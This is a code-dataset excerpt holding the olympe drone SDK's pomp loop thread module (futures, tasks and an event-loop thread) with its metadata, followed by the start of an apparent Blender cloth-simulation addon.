res.chain(result)\n        except Exception as e:\n            self._loop.logger.exception(\"Unhandled exception while chaining futures\")\n            result.set_exception(e)\n        except:  # noqa\n            result.cancel()\n\n    def then(self, fn, deferred=False):\n        result = Future(self._loop)\n        if not deferred:\n            deferred = inspect.iscoroutinefunction(fn) or inspect.isasyncgenfunction(fn)\n        self.add_done_callback(\n            lambda _: self._then_callback(fn, result, deferred=deferred)\n        )\n        return result\n\n    def result_or_cancel(self, timeout=None):\n        try:\n            return self.result(timeout=timeout)\n        except:  # noqa\n            self.cancel()\n            raise\n\n    def __await__(self):\n        if not self.done():\n            self._eventloop_future_blocking = True\n            yield self  # This tells _Task to wait for completion.\n        if not self.done():\n            raise RuntimeError(\"await wasn't used with future\")\n        return self.result()  # May raise too.\n\n    __iter__ = __await__  # make compatible with 'yield from'.\n\n\nclass _Task(Future):\n    \"\"\"\n    Adapted from asyncio.Task class under Python License\n    \"\"\"\n\n    def __init__(self, loop, corofunc, *args, **kwds):\n        super().__init__(loop)\n        self._coro = corofunc(*args, **kwds)\n        self._fut_waiter = None\n        self._must_cancel = False\n\n    def cancel(self):\n        if self.done():\n            return False\n        if self._fut_waiter is not None:\n            if self._fut_waiter.cancel():\n                # Leave self._fut_waiter; it may be a Task that\n                # catches and ignores the cancellation so we may have\n                # to cancel it again later.\n                return True\n        self._must_cancel = True\n        self._cancelled_exc = None\n        return True\n\n    def _step_blocking_impl(self, blocking, result):\n        # Yielded Future must come from Future.__iter__().\n        if isinstance(result, Future) and result._loop is not self._loop:\n            new_exc = RuntimeError(\n                f\"Task {self!r} got Future {result!r} attached to a different\"\n                \" loop\"\n            )\n            self._loop.run_later(self.step, new_exc)\n        elif blocking:\n            if result is self:\n                new_exc = RuntimeError(f\"Task cannot await on itself: {self!r}\")\n                self._loop.run_later(self.__step, new_exc)\n            else:\n                result._eventloop_future_blocking = False\n                result.add_done_callback(self._wakeup)\n                self._fut_waiter = result\n                if self._must_cancel:\n                    if self._fut_waiter.cancel():\n                        self._must_cancel = False\n        else:\n            new_exc = RuntimeError(\n                \"yield was used instead of yield from \"\n                f\"in task {self!r} with {result!r}\"\n            )\n            self._loop.run_later(self.step, new_exc)\n\n    def step(self, exc=None):\n        if self.done():\n            raise RuntimeError(\"Task already done\")\n\n        # Call either coro.throw(exc) or coro.send(None).\n        try:\n            if exc is None:\n                # We use the `send` method directly, because coroutines\n                # don't have `__iter__` and `__next__` methods.\n                result = self._coro.send(None)\n            else:\n                self._coro.throw(exc)\n        except StopIteration as stop_exc:\n            if self._must_cancel:\n                # Task is cancelled right before coro stops.\n                self._must_cancel = False\n                super().cancel()\n            elif exc is not None:\n                super().set_exception(exc)\n            else:\n                super().set_result(stop_exc.value)\n        except concurrent.futures.CancelledError as exc:\n            # Save the original exception so we can chain it later.\n            self._cancelled_exc = exc\n            super().set_exception(exc)\n        except (KeyboardInterrupt, SystemExit) as exc:\n            super().set_exception(exc)\n            raise\n        except BaseException as exc:\n            super().set_exception(exc)\n        else:\n            blocking = getattr(result, \"_eventloop_future_blocking\", None)\n            if blocking is not None:\n                self._step_blocking_impl(blocking, result)\n            elif result is None:\n                # Bare yield relinquishes control for one event loop iteration.\n                self._loop.run_later(self.__step)\n            elif inspect.isgenerator(result):\n                # Yielding a generator is just wrong.\n                new_exc = RuntimeError(\n                    \"yield was used instead of yield from for \"\n                    f\"generator in task {self!r} with {result!r}\"\n                )\n                self._loop.run_later(self.step, new_exc)\n            else:\n                # Yielding something else is an error.\n                new_exc = RuntimeError(f\"Task got bad yield: {result!r}\")\n                self._loop.run_later(self.step, new_exc)\n        finally:\n            self = None  # Needed to break cycles when an exception occurs.\n\n    def _wakeup(self, future):\n        try:\n            future.result()\n        except BaseException as exc:\n            # This may also be a cancellation.\n            self.step(exc)\n        else:\n            # Don't pass the value of `future.result()` explicitly,\n            # as `Future.__iter__` and `Future.__await__` don't need it.\n            # If we call `_step(value, None)` instead of `_step()`,\n            # Python eval loop would use `.send(value)` method call,\n            # instead of `__next__()`, which is slower for futures\n            # that return non-generator iterators from their `__iter__`.\n            self.step()\n        self = None  # Needed to break cycles when an exception occurs.\n\n\nclass PompLoopThread(threading.Thread):\n    \"\"\"\n    Class running a pomp loop in a pomp thread.\n    It performs all calls to pomp and arsdk-ng within the loop (except init and destruction)\n    \"\"\"\n\n    def __init__(self, logger, name=None, parent=None):\n        self.logger = logger\n\n        if parent is None:\n            parent = threading.current_thread()\n        self.parent = parent\n\n        self.running = False\n        self.pomptimeout_ms = 100\n        self.async_pomp_task = list()\n        self.deferred_pomp_task = list()\n        self.wakeup_evt = od.pomp_evt_new()\n        self.pomp_events = dict()\n        self.pomp_event_callbacks = dict()\n        self.pomp_loop = None\n        self.pomp_timers = {}\n        self.pomp_timer_callbacks = {}\n        self.evt_userdata = dict()\n        self.fd_userdata = dict()\n        self.c_fd_userdata = dict()\n        self.c_evt_userdata = dict()\n        self.pomp_fd_callbacks = dict()\n        self.cleanup_functions = []\n        self.futures = []\n        self.async_cleanup_running = False\n\n        self._create_pomp_loop()\n\n        super(PompLoopThread, self).__init__(name=name)\n\n    def destroy(self):\n        if self.running:\n            # stop the thread will call self._destroy()\n            self.stop()\n        else:\n            self._destroy()\n\n    def _destroy(self):\n        if self.pomp_loop is None:\n            return\n        if self.wakeup_evt is not None:\n            self._remove_event_from_loop(self.wakeup_evt)\n            od.pomp_evt_destroy(self.wakeup_evt)\n            self.wakeup_evt = None\n\n        # remove all fds from the loop\n        self._destroy_pomp_loop_fds()\n\n        # remove all timers from the loop\n        self._destroy_pomp_loop_timers()\n\n        # destroy the loop\n        self._destroy_pomp_loop()\n\n    def start(self):\n        self.running = True\n        super().start()\n\n    def stop(self):\n        \"\"\"\n        Stop thread to manage commands send to the drone\n        \"\"\"\n        if not self.running:\n            return False\n        self.running = False\n        if threading.current_thread().ident != self.ident:\n            self._wake_up()\n            self.join()\n        return True\n\n    def _ensure_future(self, func, *args, **kwds):\n        if not inspect.iscoroutinefunction(func) and not inspect.isasyncgenfunction(\n            func\n        ):\n            assert callable(func), (\n                \"_ensure_future first parameter must be callable or a coroutine, got\"\n                f\" {type(func)}\"\n            )\n            return Future(self), func, args, kwds\n        else:\n            task = _Task(self, func, *args, **kwds)\n            return task, task.step, tuple(), dict()\n\n    def run_async(self, func, *args, **kwds):\n        \"\"\"\n        Fills in a list with the function to be executed in the pomp thread\n        and wakes up the pomp thread.\n        \"\"\"\n        future, func, args, kwds = self._ensure_future(func, *args, **kwds)\n\n        if threading.current_thread() is not self:\n            self.async_pomp_task.append((future, func, args, kwds))\n            self._wake_up()\n        else:\n            try:\n                ret = func(*args, **kwds)\n            except Exception as e:\n                self.logger.exception(\"Unhandled exception in async task function\")\n                future.set_exception(e)\n            else:\n                if not isinstance(ret, Future):\n                    future.set_result(ret)\n                else:\n                    ret.chain(future)\n        return future\n\n    def run_later(self, func, *args, **kwds):\n        \"\"\"\n        Fills in a list with the function to be executed later in the pomp thread\n        \"\"\"\n        future, func, args, kwds = self._ensure_future(func, *args, **kwds)\n        if threading.current_thread() is self:\n            future.set_running_or_notify_cancel()\n        self.deferred_pomp_task.append((future, func, args, kwds))\n        return future\n\n    def _run_delayed_wrapper(self, func):\n        class Wrapper:\n            def __init__(wrapper, func):\n                wrapper.func = func\n                wrapper.timer = None\n\n            @functools.wraps(func)\n            def __call__(wrapper, *args, **kwds):\n                self.destroy_timer(wrapper.timer)\n                return wrapper.func(*args, **kwds)\n        return Wrapper(func)\n\n    def run_delayed(self, delay, func, *args, **kwds):\n        f = Future(self)\n        func = self._run_delayed_wrapper(func)\n        func.timer = self.create_timer(\n            lambda *_: self.run_later(func, *args, **kwds).chain(f)\n        )\n        delay = int(1000 * delay)  # convert to milliseconds\n        self.set_timer(func.timer, delay, 0)\n        return f\n\n    def complete_futures(self, *fs, timeout=None):\n        f = Future(self)\n        done_count = 0\n        fs_count = len(fs)\n\n        def waiter(f):\n            nonlocal done_count\n            if f.done():\n                return\n            done_count += 1\n            if done_count == fs_count:\n                f.set_result(True)\n\n        def release_waiter(self, fut):\n            if not f.done():\n                fut.set_result(False)\n\n        for f in fs:\n            f.add_done_callback(waiter)\n        self.run_delayed(timeout or 0, release_waiter)\n\n        return f\n\n    async def asleep(self, delay):\n        await self.run_delayed(delay, lambda: None)\n\n    async def _cancel_and_wait(self, fut):\n        waiter = Future(self)\n        fut.chain(waiter)\n        fut.cancel()\n        await waiter\n        try:\n            return fut.result()\n        except concurrent.futures.CancelledError as exc:\n            raise concurrent.futures.TimeoutError() from exc\n        else:\n            raise concurrent.futures.TimeoutError()\n\n    def _release_waiter(self, waiter, fut):\n        if not waiter.done():\n            fut.set_exception(concurrent.futures.TimeoutError())\n\n    async def await_for(self, timeout, fut, *args, **kwds):\n        if timeout is None:\n            return await fut\n\n        fut, func, args, kwds = self._ensure_future(fut, *args, **kwds)\n        if timeout <= 0:\n            if fut.done():\n                return fut.result()\n            return await self._cancel_and_wait(fut)\n        self.deferred_pomp_task.append((fut, func, args, kwds))\n\n        waiter = Future(self)\n\n        self.run_delayed(timeout, self._release_waiter, waiter, fut)\n        fut.chain(waiter)\n        try:\n            await waiter\n        except concurrent.futures.CancelledError:\n            if fut.done():\n                return fut.result()\n            else:\n                await self._cancel_and_wait(fut)\n                raise\n\n        if fut.done():\n            return fut.result()\n        else:\n            try:\n                return fut.result()\n            except concurrent.futures.CancelledError as exc:\n                raise concurrent.futures.TimeoutError() from exc\n            else:\n                raise concurrent.futures.TimeoutError()\n\n    def _wake_up_event_cb(self, pomp_evt, _userdata):\n        \"\"\"\n        Called when a wakeup pomp_evt is triggered.\n        \"\"\"\n        # the pomp_evt is acknowledged by libpomp\n\n    def _run_task_list(self, task_list):\n        \"\"\"\n        Execute all pending functions located in the task list\n        this is done in the order the list has been filled in\n        \"\"\"\n        for i, (future, _, _, _) in enumerate(task_list[:]):\n            try:\n                if not future.running() and (not future.set_running_or_notify_cancel()):\n                    self.logger.exception(f\"Failed to run {future}\")\n                    del task_list[i]\n            except RuntimeError:\n                del task_list[i]\n                self.logger.exception(\"Unexpected runtime error\")\n        while len(task_list):\n            future, f, args, kwds = task_list.pop(0)\n            try:\n                ret = f(*args, **kwds)\n            except Exception as e:\n                self.logger.exception(\"Unhandled exception in async task function\")\n                future.set_exception(e)\n                continue\n            except:  # noqa\n                future.cancel()\n                self.running = False\n                continue\n            if isinstance(future, _Task):\n                # Let Task.step do its thing\n                return\n            if not isinstance(ret, Future):\n                future.set_result(ret)\n            else:\n                ret.chain(future)\n\n    def run(self):\n        \"\"\"\n        Thread's main loop\n        \"\"\"\n        self._add_event_to_loop(\n            self.wakeup_evt, lambda *args: self._wake_up_event_cb(*args)\n        )\n\n        # Before running our event loop we must ensure that our parent thread has already\n        # started. This is necessary for example when 4 threads A, B, C and D are starting\n        # concurrently with A calling B.start(), C calling D.start() while B is the parent\n        # thread of D.\n        parent_thread_grace_period = 1.\n        deadline = time.time() + parent_thread_grace_period\n        while not self.parent.is_alive():\n            time.sleep(0.005)\n            if deadline < time.time():\n                self.running = False\n                self.logger.error(\"Parent thread failed to start\")\n\n        # We have to monitor the parent thread exit. This is the simplest way to\n        # let the parent (and/or main) thread handle the signals while still being\n        # able to perform some cleanup before the process exit. If we don't monitor\n        # the # main thread, this thread will hang the process when the process\n        # receive SIGINT (or any other non fatal signal).\n        try:\n            while self.running and self.parent.is_alive():\n                try:\n                    self._wait_and_process()\n                except RuntimeError as e:\n                    self.logger.error(f\"Exception caught: {e}\")\n\n                self._run_task_list(self.async_pomp_task)\n                self._run_task_list(self.deferred_pomp_task)\n        finally:\n            self.running = False\n            # Perform some cleanup before this thread dies\n            self._cleanup()\n            self._destroy()\n\n    def _wait_and_process(self):\n        od.pomp_loop_wait_and_process(self.pomp_loop, self.pomptimeout_ms)\n\n    def _wake_up(self):\n        if self.wakeup_evt:\n            od.pomp_evt_signal(self.wakeup_evt)\n\n    def add_fd_to_loop(self, fd, cb, fd_events, userdata=None):\n        return self.run_async(\n            self._add_fd_to_loop, fd, cb, fd_events, userdata=userdata\n        )\n\n    def has_fd(self, fd):\n        try:\n            return self.run_async(self._has_fd, fd).result_or_cancel(timeout=5)\n        except concurrent.futures.TimeoutError:\n            return False\n\n    def _has_fd(self, fd):\n        return bool(od.pomp_loop_has_fd(self.pomp_loop, fd) == 1)\n\n    def _add_fd_to_loop(self, fd, cb, fd_events, userdata=None):\n        if cb is None:\n            self.logger.info(\n                f\"Cannot add fd '{fd}' to pomp loop without a valid callback function\"\n            )\n            return None\n        self.fd_userdata[fd] = userdata\n        userdata = ctypes.cast(\n            ctypes.pointer(ctypes.py_object(userdata)), ctypes.c_void_p\n        )\n        self.c_fd_userdata[fd] = userdata\n        self.pomp_fd_callbacks[fd] = od.pomp_fd_event_cb_t(cb)\n        res = od.pomp_loop_add(\n            self.pomp_loop,\n            ctypes.c_int32(fd),\n            od.uint32_t(int(fd_events)),\n            self.pomp_fd_callbacks[fd],\n            userdata,\n        )\n        if res != 0:\n            raise RuntimeError(\n                f\"Cannot add fd '{fd}' to pomp loop: {os.strerror(-res)} ({res})\"\n            )\n\n    def remove_fd_from_loop(self, fd):\n        return self.run_async(self._remove_fd_from_loop, fd)\n\n    def _remove_fd_from_loop(self, fd):\n        self.fd_userdata.pop(fd, None)\n        self.c_fd_userdata.pop(fd, None)\n        if self.pomp_fd_callbacks.pop(fd, None) is not None:\n            if od.pomp_loop_remove(self.pomp_loop, fd) != 0:\n                self.logger.error(f\"Cannot remove fd '{fd}' from pomp loop\")\n                return False\n        return True\n\n    def add_event_to_loop(self, *args, **kwds):\n        \"\"\"\n        Add a pomp event to the loop\n        \"\"\"\n        return self.run_async(self._add_event_to_loop, *args, **kwds)\n\n    def _add_event_to_loop(self, pomp_evt, cb, userdata=None):\n        evt_id = id(pomp_evt)\n        self.pomp_events[evt_id] = pomp_evt\n        self.pomp_event_callbacks[evt_id] = od.pomp_evt_cb_t(cb)\n\n        self.evt_userdata[evt_id] = userdata\n        userdata = ctypes.cast(\n            ctypes.pointer(ctypes.py_object(userdata)), ctypes.c_void_p\n        )\n        self.c_evt_userdata[evt_id] = userdata\n        res = od.pomp_evt_attach_to_loop(\n            pomp_evt, self.pomp_loop, self.pomp_event_callbacks[evt_id], userdata\n        )\n        if res != 0:\n            raise RuntimeError(\"Cannot add eventfd to pomp loop\")\n\n    def remove_event_from_loop(self, *args, **kwds):\n        \"\"\"\n        Remove a pomp event from the loop\n        \"\"\"\n        return self.run_async(self._remove_event_from_loop, *args, **kwds)\n\n    def _remove_event_from_loop(self, pomp_evt):\n        evt_id = id(pomp_evt)\n        self.evt_userdata.pop(evt_id, None)\n        self.c_evt_userdata.pop(evt_id, None)\n        self.pomp_event_callbacks.pop(evt_id, None)\n        if self.pomp_events.pop(evt_id, None) is not None:\n            if od.pomp_evt_detach_from_loop(pomp_evt, self.pomp_loop) != 0:\n                self.logger.error(f\"Cannot remove event '{evt_id}' from pomp loop\")\n\n    def _destroy_pomp_loop_fds(self):\n        evts = list(self.pomp_events.values())[:]\n        for evt in evts:\n            self._remove_event_from_loop(evt)\n        fds = list(self.pomp_fd_callbacks.keys())[:]\n        for fd in fds:\n            self._remove_fd_from_loop(fd)\n\n    def _create_pomp_loop(self):\n\n        self.logger.info(\"Creating pomp loop\")\n        self.pomp_loop = od.pomp_loop_new()\n\n        if self.pomp_loop is None:\n            raise RuntimeError(\"Cannot create pomp loop\")\n\n    def _destroy_pomp_loop(self):\n        if self.pomp_loop is not None:\n            res = od.pomp_loop_destroy(self.pomp_loop)\n\n            if res != 0:\n                self.logger.error(f\"Error while destroying pomp loop: {res}\")\n                return False\n            else:\n                self.logger.info(f\"Pomp loop has been destroyed: {self.name}\")\n        self.pomp_loop = None\n        return True\n\n    def create_timer(self, callback):\n        self.logger.debug(\"Creating pomp timer\")\n        pomp_callback = od.pomp_timer_cb_t(lambda *args: callback(*args))\n        pomp_timer = od.pomp_timer_new(self.pomp_loop, pomp_callback, None)\n        if pomp_timer is None:\n            raise RuntimeError(\"Unable to create pomp timer\")\n\n        self.pomp_timers[id(pomp_timer)] = pomp_timer\n        self.pomp_timer_callbacks[id(pomp_timer)] = pomp_callback\n        return pomp_timer\n\n    def set_timer(self, pomp_timer, delay, period):\n        res = od.pomp_timer_set_periodic(pomp_timer, delay, period)\n\n        return res == 0\n\n    def clear_timer(self, pomp_timer):\n        res = od.pomp_timer_clear(pomp_timer)\n\n        return res == 0\n\n    def destroy_timer(self, pomp_timer):\n        if id(pomp_timer) not in self.pomp_timers:\n            return False\n\n        res = od.pomp_timer_destroy(pomp_timer)\n\n        if res != 0:\n            self.logger.error(f\"Error while destroying pomp loop timer: {res}\")\n            return False\n        else:\n            del self.pomp_timers[id(pomp_timer)]\n            del self.pomp_timer_callbacks[id(pomp_timer)]\n            self.logger.debug(\"Pomp loop timer has been destroyed\")\n\n        return True\n\n    def _destroy_pomp_loop_timers(self):\n        pomp_timers = list(self.pomp_timers.values())[:]\n        for pomp_timer in pomp_timers:\n            self.destroy_timer(pomp_timer)\n\n    def register_cleanup(self, fn):\n        self.cleanup_functions.append(fn)\n\n    def unregister_cleanup(self, fn, ignore_error=False):\n        try:\n            self.cleanup_functions.remove(fn)\n        except ValueError:\n            if not ignore_error:\n                self.logger.error(f\"Failed to unregister cleanup function '{fn}'\")\n\n    def _collect_futures(self):\n        self.futures = list(filter(lambda f: f.running(), self.futures))\n\n    def _cleanup(self):\n        # Execute cleanup functions\n        for cleanup in reversed(self.cleanup_functions):\n            try:\n                cleanup()\n            except Exception:\n                self.logger.exception(\"Unhandled exception in cleanup function\")\n        self.cleanup_functions = []\n\n        # Execute asynchronous cleanup actions\n        timeout = 3.0  # seconds\n        count_timeout = 1000 * float(timeout) / self.pomptimeout_ms\n        count = 0\n        self.async_cleanup_running = True\n        while self.async_pomp_task or self.deferred_pomp_task or self.futures:\n            self._wait_and_process()\n            self._run_task_list(self.async_pomp_task)\n            self._run_task_list(self.deferred_pomp_task)\n            self._collect_futures()\n            if count > count_timeout:\n                self.logger.error(\n                    f\"Deferred cleanup action are still pending after {timeout}s\"\n                )\n                break\n            count += 1\n\n        if self.futures:\n            self.logger.warning(f\"Futures still running: {len(self.futures)}\")\n\n        self.async_pomp_task = []\n        self.deferred_pomp_task = []\n        self.futures = []\n        self.async_cleanup_running = False\n\n    def _register_future(self, f):\n        self.futures.append(f)\n\n    def _unregister_future(self, f, ignore_error=False):\n        try:\n            self.futures.remove(f)\n        except ValueError:\n            if not self.async_cleanup_running and not ignore_error:\n                self.logger.error(f\"Failed to unregister future '{f}'\")\n", "sub_path": "src/olympe/utils/pomp_loop_thread.py", "file_name": "pomp_loop_thread.py", "file_ext": "py", "file_size_in_byte": 28299, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "logging.getLogger", "line_number": 51, "usage_type": "call"}, {"api_name": "logging.StreamHandler", "line_number": 52, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 53, "usage_type": "attribute"}, {"api_name": "aenum.IntFlag", "line_number": 56, "usage_type": "name"}, {"api_name": "olympe_deps.POMP_FD_EVENT_IN", "line_number": 57, "usage_type": "attribute"}, {"api_name": "olympe_deps.POMP_FD_EVENT_PRI", "line_number": 58, "usage_type": "attribute"}, {"api_name": "olympe_deps.POMP_FD_EVENT_OUT", "line_number": 59, "usage_type": "attribute"}, {"api_name": "olympe_deps.POMP_FD_EVENT_ERR", "line_number": 60, "usage_type": "attribute"}, {"api_name": "olympe_deps.POMP_FD_EVENT_HUP", "line_number": 61, "usage_type": "attribute"}, {"api_name": "concurrent.futures.futures", "line_number": 64, "usage_type": "attribute"}, {"api_name": "concurrent.futures", "line_number": 64, "usage_type": "name"}, {"api_name": "threading.current_thread", "line_number": 125, "usage_type": "call"}, {"api_name": "concurrent.futures.futures", "line_number": 131, "usage_type": "attribute"}, {"api_name": "concurrent.futures", "line_number": 131, "usage_type": "name"}, {"api_name": "inspect.iscoroutinefunction", "line_number": 151, "usage_type": "call"}, {"api_name": "inspect.isasyncgenfunction", "line_number": 151, "usage_type": "call"}, {"api_name": "concurrent.futures.futures", "line_number": 246, "usage_type": "attribute"}, {"api_name": "concurrent.futures", "line_number": 246, "usage_type": "name"}, {"api_name": "inspect.isgenerator", "line_number": 262, "usage_type": "call"}, {"api_name": "threading.Thread", "line_number": 293, "usage_type": "attribute"}, {"api_name": "threading.current_thread", "line_number": 303, "usage_type": "call"}, {"api_name": "olympe_deps.pomp_evt_new", "line_number": 310, "usage_type": "call"}, {"api_name": "olympe_deps.pomp_evt_destroy", "line_number": 341, "usage_type": "call"}, {"api_name": "threading.current_thread", "line_number": 364, "usage_type": "call"}, {"api_name": "inspect.iscoroutinefunction", "line_number": 370, "usage_type": "call"}, {"api_name": "inspect.isasyncgenfunction", "line_number": 370, "usage_type": "call"}, {"api_name": "threading.current_thread", "line_number": 389, "usage_type": "call"}, {"api_name": "threading.current_thread", "line_number": 410, "usage_type": "call"}, {"api_name": "functools.wraps", "line_number": 421, "usage_type": "call"}, {"api_name": "concurrent.futures.futures", "line_number": 470, "usage_type": "attribute"}, {"api_name": "concurrent.futures", "line_number": 470, "usage_type": "name"}, {"api_name": "concurrent.futures.futures.TimeoutError", "line_number": 471, "usage_type": "call"}, {"api_name": "concurrent.futures.futures", "line_number": 471, "usage_type": "attribute"}, {"api_name": "concurrent.futures", "line_number": 471, "usage_type": "name"}, {"api_name": "concurrent.futures.futures.TimeoutError", "line_number": 473, "usage_type": "call"}, {"api_name": "concurrent.futures.futures", "line_number": 473, "usage_type": "attribute"}, {"api_name": "concurrent.futures", "line_number": 473, "usage_type": "name"}, {"api_name": "concurrent.futures.futures.TimeoutError", "line_number": 477, "usage_type": "call"}, {"api_name": "concurrent.futures.futures", "line_number": 477, "usage_type": "attribute"}, {"api_name": "concurrent.futures", "line_number": 477, "usage_type": "name"}, {"api_name": "concurrent.futures.futures", "line_number": 496, "usage_type": "attribute"}, {"api_name": "concurrent.futures", "line_number": 496, "usage_type": "name"}, {"api_name": "concurrent.futures.futures", "line_number": 508, "usage_type": "attribute"}, {"api_name": "concurrent.futures", "line_number": 508, "usage_type": "name"}, {"api_name": "concurrent.futures.futures.TimeoutError", "line_number": 509, "usage_type": "call"}, {"api_name": "concurrent.futures.futures", "line_number": 509, "usage_type": "attribute"}, {"api_name": "concurrent.futures", "line_number": 509, "usage_type": "name"}, {"api_name": "concurrent.futures.futures.TimeoutError", "line_number": 511, "usage_type": "call"}, {"api_name": "concurrent.futures.futures", "line_number": 511, "usage_type": "attribute"}, {"api_name": "concurrent.futures", "line_number": 511, "usage_type": "name"}, {"api_name": "time.time", "line_number": 565, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 567, "usage_type": "call"}, {"api_name": "time.time", "line_number": 568, "usage_type": "call"}, {"api_name": "olympe_deps.pomp_loop_wait_and_process", "line_number": 593, "usage_type": "call"}, {"api_name": "olympe_deps.pomp_evt_signal", "line_number": 597, "usage_type": "call"}, {"api_name": "concurrent.futures.futures", "line_number": 607, "usage_type": "attribute"}, {"api_name": "concurrent.futures", "line_number": 607, "usage_type": "name"}, {"api_name": "olympe_deps.pomp_loop_has_fd", "line_number": 611, "usage_type": "call"}, {"api_name": "ctypes.cast", "line_number": 620, "usage_type": "call"}, {"api_name": "ctypes.pointer", "line_number": 621, "usage_type": "call"}, {"api_name": "ctypes.py_object", "line_number": 621, "usage_type": "call"}, {"api_name": "ctypes.c_void_p", "line_number": 621, "usage_type": "attribute"}, {"api_name": "olympe_deps.pomp_fd_event_cb_t", "line_number": 624, "usage_type": "call"}, {"api_name": "olympe_deps.pomp_loop_add", "line_number": 625, "usage_type": "call"}, {"api_name": "ctypes.c_int32", "line_number": 627, "usage_type": "call"}, {"api_name": "olympe_deps.uint32_t", "line_number": 628, "usage_type": "call"}, {"api_name": "os.strerror", "line_number": 634, "usage_type": "call"}, {"api_name": "olympe_deps.pomp_loop_remove", "line_number": 644, "usage_type": "call"}, {"api_name": "olympe_deps.pomp_evt_cb_t", "line_number": 658, "usage_type": "call"}, {"api_name": "ctypes.cast", "line_number": 661, "usage_type": "call"}, {"api_name": "ctypes.pointer", "line_number": 662, "usage_type": "call"}, {"api_name": "ctypes.py_object", "line_number": 662, "usage_type": "call"}, {"api_name": "ctypes.c_void_p", "line_number": 662, "usage_type": "attribute"}, {"api_name": "olympe_deps.pomp_evt_attach_to_loop", "line_number": 665, "usage_type": "call"}, {"api_name": "olympe_deps.pomp_evt_detach_from_loop", "line_number": 683, "usage_type": "call"}, {"api_name": "olympe_deps.pomp_loop_new", "line_number": 697, "usage_type": "call"}, {"api_name": "olympe_deps.pomp_loop_destroy", "line_number": 704, "usage_type": "call"}, {"api_name": "olympe_deps.pomp_timer_cb_t", "line_number": 716, "usage_type": "call"}, {"api_name": "olympe_deps.pomp_timer_new", "line_number": 717, "usage_type": "call"}, {"api_name": "olympe_deps.pomp_timer_set_periodic", "line_number": 726, "usage_type": "call"}, {"api_name": "olympe_deps.pomp_timer_clear", "line_number": 731, "usage_type": "call"}, {"api_name": "olympe_deps.pomp_timer_destroy", "line_number": 739, "usage_type": "call"}, {"api_name": "itertools.ifilter", "line_number": 767, "usage_type": "call"}]}
+{"seq_id": "62915975", "text": "# when extruding:\n#   currently have to switch to the source shape\n#   This is bceause the coords will be in the same location\n#       in the source shape. Could pause existing selection\n#       along with new selection. Maybe play with source being\n#       relative only while that's happening then switch it back\n#       to the current being relative to source?\n#   To confirm maybe wait until deselct all or wait a given\n#       number of iterations?\n\n# cache keyframing could be really cool. So do a linear\n# interpolation between cached frames.\n\n# !!!!!!!!!!!!!!!\n# mesh keyframing might actually be what I need for\n# my procedural animation stuff.\n# think about the barycentric springs with equalateral tris applied to an armature\n# !!!!!!!!!!!!!!!\n\n# would it make sense to run cloth physics on a lattice or curve object?????\n\n# undo !!!!!!\n#def b_log(a=None,b=None):\n    #return\n\n# !!! OPTIMISE: lots of placed to provide and \"out\" array. Start with all the einsums.\n# !!! might also check the speed of linalg against v / sqrt(einsum(vec vec))\n# !!! np.nan_to_num(  copy=False) # or use an output array\n\n# !!! bend and stretch stiff itters should be set using\n#   int div so like bend stiff 2 means 2 iters. below one means stifness value is less than\n#   one. Might even be able to turn up stiffness with higher iters and stay stable. \n\n# add a friction vertex group to collide objects and to cloth.\n\n# !!! when popping out of edit mode all of refresh runs.\n#   there is a bug if I don't do that but I need to know what\n#   parts of the refresh really need to run\n\n# can I pre-allocate memory before fancy indexing like for tri_coors?\n#   tri_co[:] = cloth.co[tridex] ?? Would it be faster??\n\n# !!! bug where start spring length changes if cloth is\n#   turned on in edit mode and mesh is distorted. Should\n#   be getting spring lengths from source shape. Somehow not.\n#   changes were made to def measure_edges(\n\nbl_info = {\n    \"name\": \"MC_29\",\n    \"author\": \"Rich Colburn, email: the3dadvantage@gmail.com\",\n    \"version\": (1, 0),\n    \"blender\": (2, 80, 0),\n    \"location\": \"View3D > Extended Tools > Modeling Cloth\",\n    \"description\": \"It's like cloth but in a computer!\",\n    \"warning\": \"3D models of face masks will not protect your computer from viruses\",\n    \"wiki_url\": \"\",\n    \"category\": '3D View'}\n\n\ntry:\n    import bpy\n    from bpy.ops import op_as_string\n    from bpy.app.handlers import persistent\n    import os\n    import shutil\n    import pathlib\n    import inspect\n    import bmesh\n    import functools as funky\n    import numpy as np\n    from numpy import newaxis as nax\n    import time\n    import copy # for duplicate cloth objects\n\nexcept ImportError:\n    print(\"didn't import correctly\")\n    print(\"didn't import correctly\")\n    print(\"didn't import correctly\")\n    pass\n\ntry:\n    from . import MC_self_collision\n    from . import MC_object_collision\n    from . import MC_pierce\n    from . import MC_edge_collide\n    from . import MC_grid\n    \nexcept:\n    MC_object_collision = bpy.data.texts['MC_object_collision.py'].as_module()\n    MC_self_collision = bpy.data.texts['MC_self_collision.py'].as_module()\n    MC_pierce = bpy.data.texts['MC_pierce.py'].as_module()\n    MC_edge_collide = bpy.data.texts['MC_edge_collide.py'].as_module()\n    MC_grid = bpy.data.texts['MC_grid.py'].as_module()\n    print(\"Tried to import internal texts.\")\n\n\n# global data\nMC_data = {}\nMC_data['col_data'] = {'col': False, 'col_update':False}\nMC_data['cloths'] = {}\nMC_data['iterator'] = 0\n\n# recent_object allows cloth object in ui\n#   when selecting empties such as for pinning.\nMC_data['recent_object'] = None\n\n\nbig_t = 0.0\ndef rt_(num=None, skip=True, show=False):\n    return\n    #if not show:\n    #   return\n    global big_t\n    #if skip:\n        #return\n    t = time.time()\n    if num is not None:    \n        print(t - big_t, \"timer\", num)\n    big_t = t\n\n\n# developer functions ------------------------\ndef reload():\n    \"\"\"!! for development !! Resets everything\"\"\"\n    # when this is registered as an addon I will want\n    #   to recaluclate these objects not set prop to false\n    \n    # Set all props to False:\n    reload_props = ['continuous', 'collider', 'animated', 'cloth', 'cache', 'cache_only', 'play_cache']\n    if 'MC_props' in dir(bpy.types.Object):\n        for i in reload_props:\n            for ob in bpy.data.objects:\n                ob.MC_props[i] = False\n\n    for i in bpy.data.objects:\n        if \"MC_cloth_id\" in i:\n            del(i[\"MC_cloth_id\"])\n        if \"MC_collider_id\" in i:\n            del(i[\"MC_collider_id\"])\n\n    #for detecting deleted colliders or cloths\n    MC_data['cloth_count'] = 0\n    MC_data['collider_count'] = 0\n    \n    try:\n        soft_unregister()    \n    except:\n        print(\"failed to run soft_unregister\")    \n\n\ndef np_co_to_text(ob, co, rw='w', cloth=None):\n    \"\"\"Read or write cache file\"\"\"\n    name = ob.name + 'cache.npy'\n\n    if rw == 'w':\n        if name not in bpy.data.texts:\n            bpy.data.texts.new(name)\n\n        txt = bpy.data.texts[name]\n    